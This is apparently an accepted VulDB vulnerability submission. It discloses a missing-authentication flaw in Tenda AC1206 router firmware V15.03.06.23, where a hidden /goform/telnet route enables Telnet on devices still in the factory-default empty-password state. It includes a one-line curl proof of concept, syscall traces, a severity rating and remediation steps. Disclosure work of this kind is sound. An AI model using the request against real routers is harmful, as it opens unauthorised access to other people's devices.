| Titolo | Tenda AC1206 V1.0 RTL / F1203-class web UI V15.03.06.23 Missing Authentication for Critical Function&Missing Authorizati |
|---|
| Descrizione | Tenda `US_AC1206V1.0RTL_V15.03.06.23_multi_TD01` firmware and F1203-class variant `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip` expose a hidden web form route, `/goform/telnet`, that is reachable without a Cookie/session when the device is in the factory-default empty-password state. Hitting the route invokes `TendaTelnet`, which runs `killall -9 telnetd` and then constructs `telnetd -b %s &` from `lan.ip` before returning `load telnetd success.`.
This gives a network-adjacent unauthenticated attacker a one-request path to enable the Telnet service before the administrator has configured a web password.
## Affected target
- Vendor: Tenda
- Product: AC1206 V1.0 RTL / F1203-class web UI
- Confirmed affected firmware variants:
1. `US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.zip`
- Firmware SHA256: `b12aeaad77108fd856a62a943b3d5ae5d137f7f22b43d45c9671f929f4c3a352`
- `/bin/httpd` SHA256: `5c6330ab898620f25009d1dc5fa4046e2ca7c3beacf3cdbbf9b12a4e028b5661`
2. `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip`
- Firmware SHA256: `9ae57c968a075246876dc45c4ce3e5c75bc477899932187d169edfec3549354a`
- `/bin/httpd` SHA256: `1f0ba15df83d20398218d7013c7106abab693ac740aa1c52db2c305365d1e04f`
- Version string in both `httpd` binaries: `V15.03.06.23`
- Binary: `/bin/httpd`
- Architecture: MIPS32 little-endian uClibc, not stripped, with debug info
## Vulnerability class
- CWE-306: Missing Authentication for Critical Function
- CWE-862: Missing Authorization
- Type: Hidden Telnet enablement in factory-default empty-password state
- Status: Confirmed
- Authentication: Unauthenticated when no admin password is configured
## Proof of concept
```sh
curl -i --path-as-is http://<router>/goform/telnet
```
Expected response:
```text
load telnetd success.
```
Expected backend effect on real firmware runtime:
```text
killall -9 telnetd
telnetd -b <lan.ip> &
```
## Key evidence
### Route registration
`formDefineTendDa` registers the route directly:
```text
name=telnet -> TendaTelnet
```
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/formDefineTendDa.registrations.txt
```
### Authentication boundary
`R7WebsSecurityHandler` contains explicit comparisons for `/goform/telnet` and `/goform/ate` before normal Cookie/password handling. In the factory-default empty-password state, these paths reach the form handler without requiring a `password=` Cookie.
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/R7WebsSecurityHandler.annotated.txt
```
Relevant static evidence:
```text
004351bc ... '/goform/telnet'
004351cc ... CALL strncmp
004351e8 ... '/goform/ate'
004351f8 ... CALL strncmp
00435258 ... 'password='
00435264 ... CALL strstr
```
### Telnet command execution path
`TendaTelnet` retrieves `lan.ip`, kills existing `telnetd`, starts a new Telnet daemon, and writes a success response.
Evidence file:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/TendaTelnet.annotated.txt
```
Relevant static evidence:
```text
GetValue('lan.ip')
system('killall -9 telnetd')
doSystemCmd('telnetd -b %s &')
websWrite('load telnetd success.')
```
### Dynamic validation
The firmware `httpd` was executed inside the existing `firmrec-idirect` Docker container under QEMU/chroot. The test binary was patched only to bypass hardware/CFM boot blockers and bind the lab instance to `127.0.0.1`; authentication and form handlers were not patched.
Dynamic HTTP proof:
```text
GET /goform/telnet HTTP/1.1
Host: 127.0.0.1
load telnetd success.
```
QEMU syscall trace shows the request reaches the command execution path:
```text
execve('/bin/sh', {'/bin/sh','-c','killall -9 telnetd', ...})
execve('/bin/sh', {'/bin/sh','-c','telnetd -b &', ...})
execve('/bin/sh', {'/bin/sh','-c','cfm Post netctrl 19?op=14,wl_rate=24,index=1', ...})
send(..., 'load telnetd success.', 21, ...)
```
`Exec format error` in the trace is a QEMU/chroot artifact caused by guest MIPS `/bin/sh` execution in this lab. The important validation point is that unauthenticated HTTP input reaches the backend command construction/execution calls and receives the success body.
Dynamic evidence files:
```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/httpd_patched5_strace.out
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/curl6_telnet_strace.stderr
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/curl6_telnet_strace.body
```
### Additional affected firmware variant validation
The same `/goform/telnet` issue was independently confirmed on firmware variant `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip` (`httpd` SHA256 `1f0ba15df83d20398218d7013c7106abab693ac740aa1c52db2c305365d1e04f`). The runtime copy was patched only for hardware/CFM boot blockers and lab bind address; authentication and form handlers were not patched.
Dynamic HTTP proof for the variant:
```text
GET /goform/telnet HTTP/1.1
Host: 127.0.0.1
load telnetd success.
```
QEMU syscall trace for the variant reaches the same command execution path:
```text
execve('/bin/sh', {'/bin/sh','-c','killall -9 telnetd', ...})
execve('/bin/sh', {'/bin/sh','-c','telnetd -b &', ...})
send(..., 'load telnetd success.', 21, ...)
```
## Impact
An attacker on the management/LAN network can enable Telnet before web-admin password setup. If Telnet authentication is weak/default or otherwise shared with device credentials, this may lead to full device compromise. Even without immediate shell login, enabling an unintended management daemon increases attack surface and persistence risk.
## Severity
CVSS 3.1: `CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` ? 8.8 High
Rationale: LAN-adjacent attack vector, no privileges, no user interaction, critical management service enablement. If the affected deployment exposes the web UI beyond LAN, severity becomes network-equivalent critical.
## Remediation
- Remove `/goform/telnet` from production builds or compile it behind a physical/factory-only gate.
- Require an authenticated admin session for all management/service-control routes, including first-run states.
- Disable Telnet entirely or replace with explicitly opt-in SSH with strong credential setup.
- Add regression tests for hidden `/goform/*` routes before release. |
|---|
| Fonte | ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-AC1206-TELNET-DEFAULT-UNAUTH-001-vulndb.md |
|---|
| Utente | ST4R0003 (UID 99608) |
|---|
| Sottomissione | 17/07/2026 19:07 (1 mese fa) |
|---|
| Moderazione | 30/08/2026 19:42 (1 month later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 397181 [Tenda AC1206 15.03.06.23 Web UI /goform/telnet TendaTelnet autenticazione debole] |
|---|
| Punti | 20 |
|---|